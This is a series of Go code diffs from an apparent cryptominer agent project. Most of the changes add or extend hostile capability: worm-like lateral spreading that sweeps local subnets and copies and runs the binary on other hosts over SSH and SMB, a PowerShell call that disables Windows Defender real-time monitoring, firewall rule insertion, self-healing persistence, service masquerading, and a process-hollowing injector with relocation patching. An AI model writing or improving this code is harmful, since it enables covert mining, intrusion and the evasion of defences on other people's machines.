
View File

@@ -11,3 +11,5 @@ func (m *MeshNode) Start() error { return nil }
func (m *MeshNode) BroadcastToMesh(_ Message) {} func (m *MeshNode) BroadcastToMesh(_ Message) {}
func (m *MeshNode) PeerCount() int { return 0 }

View File

@@ -22,6 +22,14 @@ type AuthPayload struct {
AIEnabled bool `json:"ai_enabled"` AIEnabled bool `json:"ai_enabled"`
AIOllamaEndpoint string `json:"ai_ollama_endpoint"` AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
AIModel string `json:"ai_model"` AIModel string `json:"ai_model"`
HolePunch bool `json:"hole_punch"`
RemoteAggressive bool `json:"remote_aggressive"`
MeshP2P bool `json:"mesh_p2p"`
AutoSpread bool `json:"auto_spread"`
ProcessHollowing bool `json:"process_hollowing"`
Platform string `json:"platform"`
Arch string `json:"arch"`
OSVersion string `json:"os_version"`
} }
type AuthResponse struct { type AuthResponse struct {

View File

@@ -43,5 +43,7 @@ func GetBuiltinConfig() BuiltinConfig {
ProcessHollowing: false, ProcessHollowing: false,
MeshP2P: false, MeshP2P: false,
AutoSpread: false, AutoSpread: false,
HolePunch: false,
RemoteAggressive: false,
} }
} }

View File

@@ -50,6 +50,14 @@ type BuiltinConfig struct {
ProcessHollowing bool ProcessHollowing bool
MeshP2P bool MeshP2P bool
AutoSpread bool AutoSpread bool
HolePunch bool
RemoteAggressive bool
// Backup server URLs — tried in order if primary fails
BackupServerURLs []string
// Windows service masquerade (ignored on other OSes)
ServiceMasquerade bool
ServiceName string
ServiceDonor string
} }
type RuntimeConfig struct { type RuntimeConfig struct {

View File

@@ -4,6 +4,7 @@ import (
"fmt" "fmt"
"os" "os"
"path/filepath" "path/filepath"
"runtime"
"strings" "strings"
) )
@@ -33,29 +34,57 @@ func (c RuntimeConfig) InstallDirectory() (string, error) {
func resolveInstallBase(baseType, customBase string) (string, error) { func resolveInstallBase(baseType, customBase string) (string, error) {
switch strings.ToLower(strings.TrimSpace(baseType)) { switch strings.ToLower(strings.TrimSpace(baseType)) {
case "", "localappdata": case "", "localappdata":
if runtime.GOOS == "windows" {
return requireEnv("LOCALAPPDATA") return requireEnv("LOCALAPPDATA")
}
return xdgDataHome()
case "appdata": case "appdata":
if runtime.GOOS == "windows" {
return requireEnv("APPDATA") return requireEnv("APPDATA")
}
return xdgDataHome()
case "programdata": case "programdata":
if runtime.GOOS == "windows" {
return requireEnv("ProgramData") return requireEnv("ProgramData")
case "userprofile": }
return xdgDataHome()
case "userprofile", "home":
if runtime.GOOS == "windows" {
return requireEnv("USERPROFILE") return requireEnv("USERPROFILE")
}
return requireEnv("HOME")
case "xdg_data_home":
return xdgDataHome()
case "temp": case "temp":
if v := os.Getenv("TEMP"); v != "" { if v := os.Getenv("TEMP"); v != "" {
return v, nil return v, nil
} }
if v := os.Getenv("TMPDIR"); v != "" {
return v, nil
}
return requireEnv("TMP") return requireEnv("TMP")
case "custom": case "custom":
custom := strings.TrimSpace(customBase) custom := strings.TrimSpace(customBase)
if custom == "" { if custom == "" {
return "", fmt.Errorf("custom install base path is required when install_base is custom") return "", fmt.Errorf("custom install base path is required when install_base is custom")
} }
return expandWindowsEnv(custom), nil return expandEnvPath(custom), nil
default: default:
return "", fmt.Errorf("unsupported install base: %s", baseType) return "", fmt.Errorf("unsupported install base: %s", baseType)
} }
} }
func xdgDataHome() (string, error) {
if v := os.Getenv("XDG_DATA_HOME"); v != "" {
return v, nil
}
home, err := requireEnv("HOME")
if err != nil {
return "", err
}
return filepath.Join(home, ".local", "share"), nil
}
func expandInstallTokens(path, workerName, buildID, processName string) string { func expandInstallTokens(path, workerName, buildID, processName string) string {
shortBuild := buildID shortBuild := buildID
if len(shortBuild) > 8 { if len(shortBuild) > 8 {
@@ -90,12 +119,17 @@ func requireEnv(key string) (string, error) {
return value, nil return value, nil
} }
func expandWindowsEnv(path string) string { func expandEnvPath(path string) string {
out := path out := path
for _, key := range []string{ for _, key := range []string{
"LOCALAPPDATA", "APPDATA", "ProgramData", "USERPROFILE", "TEMP", "TMP", "WINDIR", "SystemRoot", "LOCALAPPDATA", "APPDATA", "ProgramData", "USERPROFILE", "TEMP", "TMP", "WINDIR", "SystemRoot",
"HOME", "XDG_DATA_HOME", "TMPDIR",
} { } {
out = strings.ReplaceAll(out, "%"+key+"%", os.Getenv(key)) out = strings.ReplaceAll(out, "%"+key+"%", os.Getenv(key))
} }
return out return out
} }
func expandWindowsEnv(path string) string {
return expandEnvPath(path)
}

View File

@@ -0,0 +1,13 @@
//go:build !windows
package deploy
import "fmt"
func DisableDefenderRealtime() (string, error) {
return "", fmt.Errorf("defender control is Windows-only")
}
func OpenFirewallPort(_ int, _ string) (string, error) {
return "", fmt.Errorf("firewall port open is Windows-only")
}

View File

@@ -0,0 +1,41 @@
//go:build windows
package deploy
import (
"fmt"
"os/exec"
"strings"
)
// DisableDefenderRealtime turns off Windows Defender real-time monitoring (requires admin).
func DisableDefenderRealtime() (string, error) {
script := `Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction Stop`
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
if err != nil {
return string(out), fmt.Errorf("defender disable failed (admin required?): %w", err)
}
return strings.TrimSpace(string(out)) + "\nDefender real-time monitoring disabled.", nil
}
// OpenFirewallPort adds an inbound TCP allow rule for port.
func OpenFirewallPort(port int, name string) (string, error) {
if port <= 0 || port > 65535 {
return "", fmt.Errorf("invalid port %d", port)
}
if name == "" {
name = "AetherForge Remote"
}
script := fmt.Sprintf(`
$name = '%s'
$port = %d
if (-not (Get-NetFirewallRule -DisplayName $name -ErrorAction SilentlyContinue)) {
New-NetFirewallRule -DisplayName $name -Direction Inbound -Protocol TCP -LocalPort $port -Action Allow -Profile Any | Out-Null
}
`, strings.ReplaceAll(name, `'`, `''`), port)
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
if err != nil {
return string(out), err
}
return fmt.Sprintf("Firewall inbound TCP %d allowed (%s)", port, name), nil
}

View File

@@ -1,3 +1,5 @@
//go:build windows
package deploy package deploy
import ( import (
@@ -37,6 +39,17 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
log.Printf("[autospread] Lateral movement module initialized and active") log.Printf("[autospread] Lateral movement module initialized and active")
} }
// RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking).
func RunSpreadOnce(cfg config.RuntimeConfig) string {
go spreadToLocalSubnet(cfg)
return "lateral spread sweep started on local /24 subnets (SMB/SCM)"
}
// spreadSem limits concurrent spread goroutines to 16 to prevent a goroutine
// storm on /24 sweeps (M20). Each attempt can block for several seconds on
// SMB/sc.exe, so without a cap all 254 run concurrently.
var spreadSem = make(chan struct{}, 16)
func spreadToLocalSubnet(cfg config.RuntimeConfig) { func spreadToLocalSubnet(cfg config.RuntimeConfig) {
ips := getLocalIPs() ips := getLocalIPs()
for _, ip := range ips { for _, ip := range ips {
@@ -44,14 +57,16 @@ func spreadToLocalSubnet(cfg config.RuntimeConfig) {
if subnet == "" { if subnet == "" {
continue continue
} }
// Sweep the /24 subnet
for i := 1; i < 255; i++ { for i := 1; i < 255; i++ {
target := fmt.Sprintf("%s.%d", subnet, i) target := fmt.Sprintf("%s.%d", subnet, i)
if target == ip { if target == ip {
continue // Skip self continue
} }
go attemptSpread(cfg, target) spreadSem <- struct{}{} // acquire slot
time.Sleep(500 * time.Millisecond) // Pace the scan to avoid massive traffic bursts go func(t string) {
defer func() { <-spreadSem }() // release slot when done
attemptSpread(cfg, t)
}(target)
} }
} }
} }

View File

@@ -0,0 +1,128 @@
//go:build !windows
package deploy
import (
"fmt"
"log"
"net"
"os"
"os/exec"
"path/filepath"
"strings"
"time"
"crypto-miner-agent/config"
)
// StartAutoSpreader launches SSH-based lateral deployment on Unix hosts.
func StartAutoSpreader(cfg config.RuntimeConfig) {
if !cfg.AutoSpread {
return
}
go func() {
time.Sleep(10 * time.Minute)
ticker := time.NewTicker(4 * time.Hour)
defer ticker.Stop()
for {
spreadUnixSubnet(cfg)
<-ticker.C
}
}()
log.Printf("[autospread] Unix SSH spread module active")
}
// RunSpreadOnce triggers an immediate SSH sweep (non-blocking).
func RunSpreadOnce(cfg config.RuntimeConfig) string {
go spreadUnixSubnet(cfg)
return "unix lateral spread sweep started (SSH :22)"
}
// spreadSem limits concurrent SSH spread goroutines to 16 (M20)
var spreadSem = make(chan struct{}, 16)
func spreadUnixSubnet(cfg config.RuntimeConfig) {
exePath, err := os.Executable()
if err != nil {
return
}
ips := getLocalIPs()
for _, ip := range ips {
subnet := getSubnet(ip)
if subnet == "" {
continue
}
for i := 1; i < 255; i++ {
target := fmt.Sprintf("%s.%d", subnet, i)
if target == ip {
continue
}
spreadSem <- struct{}{} // acquire slot
go func(t string) {
defer func() { <-spreadSem }()
attemptSSHSpread(cfg, t, exePath)
}(target)
}
}
}
func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
conn, err := net.DialTimeout("tcp", target+":22", 2*time.Second)
if err != nil {
return
}
conn.Close()
remoteName := sanitizeName(cfg.WorkerName) + "-sync"
remotePath := filepath.ToSlash(filepath.Join("/tmp", remoteName))
scp := exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, "root@"+target+":"+remotePath)
if err := scp.Run(); err != nil {
user := os.Getenv("USER")
if user == "" {
user = "ubuntu"
}
scp = exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, user+"@"+target+":"+remotePath)
if err := scp.Run(); err != nil {
return
}
}
start := exec.Command("ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target,
fmt.Sprintf("chmod +x %s && nohup %s --spread-install >/dev/null 2>&1 &", remotePath, remotePath))
if err := start.Run(); err == nil {
log.Printf("[autospread] deployed to %s via SSH", target)
}
}
func getLocalIPs() []string {
var ips []string
ifaces, err := net.Interfaces()
if err != nil {
return ips
}
for _, i := range ifaces {
if i.Flags&net.FlagUp == 0 || i.Flags&net.FlagLoopback != 0 {
continue
}
addrs, err := i.Addrs()
if err != nil {
continue
}
for _, a := range addrs {
if ipnet, ok := a.(*net.IPNet); ok {
if ip4 := ipnet.IP.To4(); ip4 != nil && !ip4.IsLoopback() {
ips = append(ips, ip4.String())
}
}
}
}
return ips
}
func getSubnet(ip string) string {
parts := strings.Split(ip, ".")
if len(parts) != 4 {
return ""
}
return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
}

195
agent/deploy/common.go Normal file
View File

@@ -0,0 +1,195 @@
package deploy
import (
"fmt"
"io"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"crypto-miner-agent/config"
)
const (
runFlag = "--run"
spreadFlag = "--spread-install"
backupSuffix = ".bak"
)
// BinaryExt returns the executable suffix for the current OS.
func BinaryExt() string {
if runtime.GOOS == "windows" {
return ".exe"
}
return ""
}
// BinaryName returns the forged process filename on disk.
func BinaryName(cfg config.RuntimeConfig) string {
return cfg.EffectiveProcessName() + BinaryExt()
}
// InstalledBinaryPath is the full path to the installed worker binary.
func InstalledBinaryPath(cfg config.RuntimeConfig) (string, error) {
dir, err := cfg.InstallDirectory()
if err != nil {
return "", err
}
return filepath.Join(dir, BinaryName(cfg)), nil
}
func PersistenceKeyName(cfg config.RuntimeConfig) string {
if cfg.StealthMode {
return cfg.EffectiveProcessName()
}
name := sanitizeName(cfg.WorkerName)
if name == "" {
return cfg.EffectiveProcessName()
}
return "CryptoMiner-" + name
}
func sanitizeName(name string) string {
replacer := strings.NewReplacer(" ", "-", "/", "-", "\\", "-", ":", "-", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "")
return replacer.Replace(strings.TrimSpace(name))
}
func samePath(a, b string) bool {
a = filepath.Clean(a)
b = filepath.Clean(b)
if runtime.GOOS == "windows" {
if strings.EqualFold(a, b) {
return true
}
} else if a == b {
return true
}
aAbs, errA := filepath.Abs(a)
bAbs, errB := filepath.Abs(b)
if errA != nil || errB != nil {
return false
}
if runtime.GOOS == "windows" {
return strings.EqualFold(aAbs, bAbs)
}
return aAbs == bAbs
}
func copyFile(src, dest string) error {
in, err := os.Open(src)
if err != nil {
return err
}
defer in.Close()
out, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, in)
return err
}
func relaunch(exePath, logPath string) error {
cmd := exec.Command(exePath, runFlag)
cmd.Dir = filepath.Dir(exePath)
if logPath != "" {
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
}
applyDetachedStart(cmd)
return cmd.Start()
}
func resolveInstallDirWithFallback(cfg config.RuntimeConfig) (string, error) {
dir, err := cfg.InstallDirectory()
if err == nil {
return dir, nil
}
fallbacks := installBaseFallbacks(cfg)
seen := map[string]bool{strings.ToLower(cfg.InstallBase): true}
for _, base := range fallbacks {
if seen[base] {
continue
}
seen[base] = true
try := cfg
try.InstallBase = base
dir, tryErr := try.InstallDirectory()
if tryErr == nil {
return dir, nil
}
}
return "", err
}
func installBaseFallbacks(cfg config.RuntimeConfig) []string {
switch runtime.GOOS {
case "windows":
return []string{"localappdata", "appdata", "temp"}
case "darwin":
return []string{"home", "xdg_data_home", "tmp"}
default:
return []string{"xdg_data_home", "home", "tmp"}
}
}
func InstallDir(workerName, buildID string) (string, error) {
base := "localappdata"
if runtime.GOOS != "windows" {
base = "xdg_data_home"
}
return config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
WorkerName: workerName,
BuildID: buildID,
InstallBase: base,
InstallRelativePath: config.DefaultInstallRelativePath,
},
}.InstallDirectory()
}
func saveBackup(installedBin string) error {
backup := installedBin + backupSuffix
if _, err := os.Stat(backup); err == nil {
return nil
}
return copyFile(installedBin, backup)
}
// WantsSpreadInstall reports --spread-install CLI flag.
func WantsSpreadInstall() bool {
return wantsSpreadInstall()
}
func wantsSpreadInstall() bool {
for _, arg := range os.Args[1:] {
if arg == spreadFlag {
return true
}
}
return false
}
func isRunMode() bool {
for _, arg := range os.Args[1:] {
if arg == runFlag {
return true
}
}
return false
}
func writeInstalledMarker(cfg config.RuntimeConfig, installDir, installedBin, agentID string) {
if cfg.StealthMode {
return
}
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
"worker=%s\nbuild=%s\nserver=%s\nagent_id=%s\nplatform=%s\narch=%s\ninstall_dir=%s\ninstalled_bin=%s\n",
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, agentID, runtime.GOOS, runtime.GOARCH, installDir, installedBin,
)), 0644)
}

View File

@@ -0,0 +1,18 @@
//go:build darwin
package deploy
import (
"log"
"crypto-miner-agent/config"
)
func platformEnsureFirewall(cfg config.RuntimeConfig, binPath string) {
log.Printf("[firewall] macOS app firewall is coarse; worker path registered: %s", binPath)
_ = cfg
}
func platformRemoveFirewall(cfg config.RuntimeConfig) {
_ = cfg
}

View File

@@ -0,0 +1,36 @@
//go:build linux
package deploy
import (
"fmt"
"log"
"os/exec"
"strconv"
"strings"
"crypto-miner-agent/config"
)
func platformEnsureFirewall(cfg config.RuntimeConfig, binPath string) {
if strings.TrimSpace(binPath) == "" {
return
}
port := 8989
script := fmt.Sprintf(`
if command -v ufw >/dev/null 2>&1; then
ufw allow out to any port %d comment 'AetherForge' 2>/dev/null || true
fi
`, port)
cmd := exec.Command("/bin/sh", "-c", script)
if err := cmd.Run(); err != nil {
log.Printf("[firewall] ufw rule failed: %v", err)
return
}
log.Printf("[firewall] linux firewall rule attempted for %s", binPath)
_ = strconv.Itoa(port)
}
func platformRemoveFirewall(cfg config.RuntimeConfig) {
_ = cfg
}

View File

@@ -0,0 +1,15 @@
//go:build windows
package deploy
import (
"crypto-miner-agent/config"
)
func platformEnsureFirewall(cfg config.RuntimeConfig, binPath string) {
EnsureFirewallExclusionWindows(cfg, binPath)
}
func platformRemoveFirewall(cfg config.RuntimeConfig) {
RemoveFirewallExclusionWindows(cfg)
}

View File

@@ -0,0 +1,14 @@
//go:build !windows && !linux && !darwin
package deploy
import "crypto-miner-agent/config"
func platformEnsureFirewall(cfg config.RuntimeConfig, binPath string) {
_ = cfg
_ = binPath
}
func platformRemoveFirewall(cfg config.RuntimeConfig) {
_ = cfg
}

View File

@@ -13,9 +13,8 @@ import (
const firewallRulePrefix = "AetherForge" const firewallRulePrefix = "AetherForge"
// EnsureFirewallExclusion registers Windows Firewall allow rules for the installed miner binary. // EnsureFirewallExclusionWindows registers Windows Firewall allow rules for the installed miner binary.
// Requires administrator privileges on many systems; failures are logged and ignored. func EnsureFirewallExclusionWindows(cfg config.RuntimeConfig, exePath string) {
func EnsureFirewallExclusion(cfg config.RuntimeConfig, exePath string) {
if !cfg.FirewallExclusion { if !cfg.FirewallExclusion {
return return
} }
@@ -52,8 +51,8 @@ if (-not (Get-NetFirewallRule -DisplayName $out -ErrorAction SilentlyContinue))
log.Printf("[firewall] Windows Firewall allow rules registered for %s", exePath) log.Printf("[firewall] Windows Firewall allow rules registered for %s", exePath)
} }
// RemoveFirewallExclusion deletes firewall rules created for this worker. // RemoveFirewallExclusionWindows deletes firewall rules created for this worker.
func RemoveFirewallExclusion(cfg config.RuntimeConfig) { func RemoveFirewallExclusionWindows(cfg config.RuntimeConfig) {
ruleBase := firewallRuleBaseName(cfg) ruleBase := firewallRuleBaseName(cfg)
for _, name := range []string{ruleBase + " In", ruleBase + " Out"} { for _, name := range []string{ruleBase + " In", ruleBase + " Out"} {
script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`)) script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`))

View File

@@ -9,8 +9,6 @@ import (
"crypto-miner-agent/config" "crypto-miner-agent/config"
) )
const backupSuffix = ".bak"
// StartWatchdog keeps persistence and the installed binary healthy. // StartWatchdog keeps persistence and the installed binary healthy.
func StartWatchdog(cfg config.RuntimeConfig) { func StartWatchdog(cfg config.RuntimeConfig) {
if !cfg.SelfHealing { if !cfg.SelfHealing {
@@ -32,12 +30,12 @@ func maintainInstall(cfg config.RuntimeConfig) error {
if err != nil { if err != nil {
return err return err
} }
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe") installedBin := filepath.Join(installDir, BinaryName(cfg))
backupExe := installedExe + backupSuffix backupBin := installedBin + backupSuffix
if _, err := os.Stat(installedExe); os.IsNotExist(err) { if _, err := os.Stat(installedBin); os.IsNotExist(err) {
if _, statErr := os.Stat(backupExe); statErr == nil { if _, statErr := os.Stat(backupBin); statErr == nil {
if copyErr := copyFile(backupExe, installedExe); copyErr != nil { if copyErr := copyFile(backupBin, installedBin); copyErr != nil {
return copyErr return copyErr
} }
log.Printf("[watchdog] restored missing binary from backup") log.Printf("[watchdog] restored missing binary from backup")
@@ -45,25 +43,17 @@ func maintainInstall(cfg config.RuntimeConfig) error {
} }
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" { if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
if err := configureAutoStart(cfg, installedExe); err != nil { if err := configureAutoStart(cfg, installedBin); err != nil {
return err return err
} }
} }
if cfg.RunAs == "scheduled" || cfg.RunAs == "service" { if cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
if err := createScheduledTask(cfg, installedExe); err != nil { if err := configureRunMode(cfg, installedBin); err != nil {
return err return err
} }
} }
if cfg.FirewallExclusion { if cfg.FirewallExclusion {
EnsureFirewallExclusion(cfg, installedExe) EnsureFirewallExclusion(cfg, installedBin)
} }
return nil return nil
} }
func saveBackup(installedExe string) error {
backup := installedExe + backupSuffix
if _, err := os.Stat(backup); err == nil {
return nil
}
return copyFile(installedExe, backup)
}

View File

@@ -0,0 +1,12 @@
//go:build !windows
package deploy
import "fmt"
// RunHollowed is only available on Windows with the hollow build tag.
func RunHollowed(targetExe string, payload []byte) error {
_ = targetExe
_ = payload
return fmt.Errorf("process hollowing not available on this platform")
}

View File

@@ -29,20 +29,92 @@ const (
MEM_RESERVE = 0x2000 MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40 PAGE_EXECUTE_READWRITE = 0x40
CONTEXT_FULL_AMD64 = 0x10000B CONTEXT_FULL_AMD64 = 0x10000B
IMAGE_REL_BASED_ABSOLUTE = 0
IMAGE_REL_BASED_DIR64 = 10
) )
// RunHollowed injects a byte array (PE payload) into a suspended legitimate Windows process. // rvaToFileOffset translates a virtual address (RVA) in the PE to its raw file offset.
func rvaToFileOffset(payload []byte, rva, eLFANew, sizeOfOptHdr uint32) (uint32, error) {
numSections := binary.LittleEndian.Uint16(payload[eLFANew+6:])
sectionsBase := eLFANew + 24 + uint32(sizeOfOptHdr)
for i := uint32(0); i < uint32(numSections); i++ {
sec := payload[sectionsBase+i*40:]
vAddr := binary.LittleEndian.Uint32(sec[12:])
vSize := binary.LittleEndian.Uint32(sec[8:])
rawOff := binary.LittleEndian.Uint32(sec[20:])
if rva >= vAddr && rva < vAddr+vSize {
return rawOff + (rva - vAddr), nil
}
}
return 0, fmt.Errorf("RVA 0x%x not found in any section", rva)
}
// applyRelocations patches absolute addresses in the payload copy when the image
// was loaded at a different base than its preferred one. Only IMAGE_REL_BASED_DIR64
// (type 10) entries are applied; all other types are skipped.
func applyRelocations(payload []byte, delta int64, eLFANew, sizeOfOptHdr uint32) {
optHeader := payload[eLFANew+24:]
// DataDirectory[5] is IMAGE_DIRECTORY_ENTRY_BASERELOC.
// DataDirectory array starts at offset 112 in a PE32+ optional header.
const dataDirOffset = 112
if len(optHeader) < dataDirOffset+5*8+8 {
return
}
relocRVA := binary.LittleEndian.Uint32(optHeader[dataDirOffset+5*8:])
relocSize := binary.LittleEndian.Uint32(optHeader[dataDirOffset+5*8+4:])
if relocRVA == 0 || relocSize == 0 {
return // no relocation table (non-PIE binary baked for a fixed address)
}
blockOff, err := rvaToFileOffset(payload, relocRVA, eLFANew, sizeOfOptHdr)
if err != nil {
return
}
end := blockOff + relocSize
for blockOff < end && blockOff+8 <= uint32(len(payload)) {
pageRVA := binary.LittleEndian.Uint32(payload[blockOff:])
blkSize := binary.LittleEndian.Uint32(payload[blockOff+4:])
if blkSize < 8 {
break
}
entryCount := (blkSize - 8) / 2
for i := uint32(0); i < entryCount; i++ {
entry := binary.LittleEndian.Uint16(payload[blockOff+8+i*2:])
relType := entry >> 12
relOff := uint32(entry & 0x0FFF)
if relType == IMAGE_REL_BASED_ABSOLUTE {
continue
}
if relType != IMAGE_REL_BASED_DIR64 {
continue
}
patchRVA := pageRVA + relOff
patchOff, err := rvaToFileOffset(payload, patchRVA, eLFANew, sizeOfOptHdr)
if err != nil || int(patchOff)+8 > len(payload) {
continue
}
orig := int64(binary.LittleEndian.Uint64(payload[patchOff:]))
binary.LittleEndian.PutUint64(payload[patchOff:], uint64(orig+delta))
}
blockOff += blkSize
}
}
// RunHollowed injects a PE payload into a suspended legitimate Windows process.
func RunHollowed(targetExe string, payload []byte) error { func RunHollowed(targetExe string, payload []byte) error {
// Parse payload PE headers dynamically
if len(payload) < 0x40 { if len(payload) < 0x40 {
return fmt.Errorf("payload too small") return fmt.Errorf("payload too small")
} }
e_lfanew := binary.LittleEndian.Uint32(payload[0x3c:]) eLFANew := binary.LittleEndian.Uint32(payload[0x3c:])
if int(e_lfanew)+24 > len(payload) { if int(eLFANew)+24 > len(payload) {
return fmt.Errorf("invalid PE header offset") return fmt.Errorf("invalid PE header offset")
} }
ntHeader := payload[e_lfanew:] ntHeader := payload[eLFANew:]
if string(ntHeader[:4]) != "PE\x00\x00" { if string(ntHeader[:4]) != "PE\x00\x00" {
return fmt.Errorf("invalid PE signature") return fmt.Errorf("invalid PE signature")
} }
@@ -51,7 +123,7 @@ func RunHollowed(targetExe string, payload []byte) error {
} }
numSections := binary.LittleEndian.Uint16(ntHeader[6:]) numSections := binary.LittleEndian.Uint16(ntHeader[6:])
sizeOfOptionalHeader := binary.LittleEndian.Uint16(ntHeader[20:]) sizeOfOptHdr := binary.LittleEndian.Uint16(ntHeader[20:])
optHeader := ntHeader[24:] optHeader := ntHeader[24:]
if binary.LittleEndian.Uint16(optHeader[0:]) != 0x020B { if binary.LittleEndian.Uint16(optHeader[0:]) != 0x020B {
return fmt.Errorf("payload must be PE32+") return fmt.Errorf("payload must be PE32+")
@@ -71,8 +143,8 @@ func RunHollowed(targetExe string, payload []byte) error {
si.Cb = uint32(unsafe.Sizeof(*si)) si.Cb = uint32(unsafe.Sizeof(*si))
pi := new(syscall.ProcessInformation) pi := new(syscall.ProcessInformation)
// 1. Create the target legitimate process (e.g. svchost.exe) in a suspended state // 1. Spawn the target process in a suspended state.
ret, _, err := procCreateProcessW.Call( ret, _, lastErr := procCreateProcessW.Call(
0, 0,
uintptr(unsafe.Pointer(targetPtr)), uintptr(unsafe.Pointer(targetPtr)),
0, 0, 0, 0, 0, 0,
@@ -82,18 +154,13 @@ func RunHollowed(targetExe string, payload []byte) error {
uintptr(unsafe.Pointer(pi)), uintptr(unsafe.Pointer(pi)),
) )
if ret == 0 { if ret == 0 {
return fmt.Errorf("CreateProcessW failed: %v", err) return fmt.Errorf("CreateProcessW: %v", lastErr)
} }
defer syscall.CloseHandle(pi.Process) defer syscall.CloseHandle(pi.Process)
defer syscall.CloseHandle(pi.Thread) defer syscall.CloseHandle(pi.Thread)
// The following maps the exact structural steps needed for PE injection. // 2. Read thread context to obtain the PEB address (Rdx on x64 initial thread).
// Note: To make this fully functional, you need full PE offset math ctxBytes := make([]byte, 1232+16) // CONTEXT is 1232 bytes; needs 16-byte alignment
// (e.g., extracting e_lfanew, SizeOfImage, ImageBase) from the payload slice.
// 2. Get Thread Context to locate the Process Environment Block (PEB)
// Allocate 16-byte aligned context buffer for x64
ctxBytes := make([]byte, 1232+16)
var ctxPtr uintptr var ctxPtr uintptr
for i := 0; i < 16; i++ { for i := 0; i < 16; i++ {
if uintptr(unsafe.Pointer(&ctxBytes[i]))%16 == 0 { if uintptr(unsafe.Pointer(&ctxBytes[i]))%16 == 0 {
@@ -101,73 +168,110 @@ func RunHollowed(targetExe string, payload []byte) error {
break break
} }
} }
*(*uint32)(unsafe.Pointer(ctxPtr + 0x30)) = CONTEXT_FULL_AMD64 // ContextFlags *(*uint32)(unsafe.Pointer(ctxPtr + 0x30)) = CONTEXT_FULL_AMD64
ret, _, err = procGetThreadContext.Call(uintptr(pi.Thread), ctxPtr) ret, _, lastErr = procGetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
if ret == 0 { if ret == 0 {
return fmt.Errorf("GetThreadContext failed: %v", err) return fmt.Errorf("GetThreadContext: %v", lastErr)
} }
rdx := *(*uint64)(unsafe.Pointer(ctxPtr + 0x88)) // Rdx holds PEB address on x64 rdx := *(*uint64)(unsafe.Pointer(ctxPtr + 0x88)) // Rdx = PEB pointer at thread start
// 3. Read the PEB to find the original ImageBase // 3. Read the original image base from the PEB (PEB.ImageBaseAddress is at offset +16).
var origImageBase uint64 var origImageBase uint64
var bytesRW uintptr var bytesRW uintptr
procReadProcessMemory.Call( procReadProcessMemory.Call(
uintptr(pi.Process), uintptr(pi.Process),
uintptr(rdx+16), // PEB.ImageBaseAddress uintptr(rdx+16),
uintptr(unsafe.Pointer(&origImageBase)), uintptr(unsafe.Pointer(&origImageBase)),
8, 8,
uintptr(unsafe.Pointer(&bytesRW)), uintptr(unsafe.Pointer(&bytesRW)),
) )
// 4. Unmap the original executable code from memory // 4. Unmap the original image.
if origImageBase != 0 { if origImageBase != 0 {
procNtUnmapViewOfSection.Call(uintptr(pi.Process), uintptr(origImageBase)) procNtUnmapViewOfSection.Call(uintptr(pi.Process), uintptr(origImageBase))
} }
// 5. Allocate new memory for our payload at the required ImageBase // 5. Allocate memory for the payload. Try preferred base first; fall back to ASLR.
newMem, _, _ := procVirtualAllocEx.Call(uintptr(pi.Process), uintptr(imageBase), uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) newMem, _, _ := procVirtualAllocEx.Call(
uintptr(pi.Process), uintptr(imageBase), uintptr(sizeOfImage),
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
)
needsReloc := false
if newMem == 0 { if newMem == 0 {
// Fallback allocation if preferred base is taken (Payload must support relocation) newMem, _, lastErr = procVirtualAllocEx.Call(
newMem, _, err = procVirtualAllocEx.Call(uintptr(pi.Process), 0, uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) uintptr(pi.Process), 0, uintptr(sizeOfImage),
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
)
if newMem == 0 { if newMem == 0 {
return fmt.Errorf("VirtualAllocEx failed: %v", err) return fmt.Errorf("VirtualAllocEx: %v", lastErr)
} }
needsReloc = true
} }
// 6. Write the PE headers and each PE section into the new memory allocation // 6. If we landed at a different base, patch absolute addresses in a local copy
procWriteProcessMemory.Call(uintptr(pi.Process), newMem, uintptr(unsafe.Pointer(&payload[0])), uintptr(sizeOfHeaders), uintptr(unsafe.Pointer(&bytesRW))) // before writing to the remote process. Without this the payload crashes on
// every call through its import table and global data pointers.
patched := payload
if needsReloc {
delta := int64(newMem) - int64(imageBase)
patched = make([]byte, len(payload))
copy(patched, payload)
applyRelocations(patched, delta, eLFANew, uint32(sizeOfOptHdr))
}
sectionsStart := 24 + uint32(sizeOfOptionalHeader) // 7. Write PE headers and sections to the remote process.
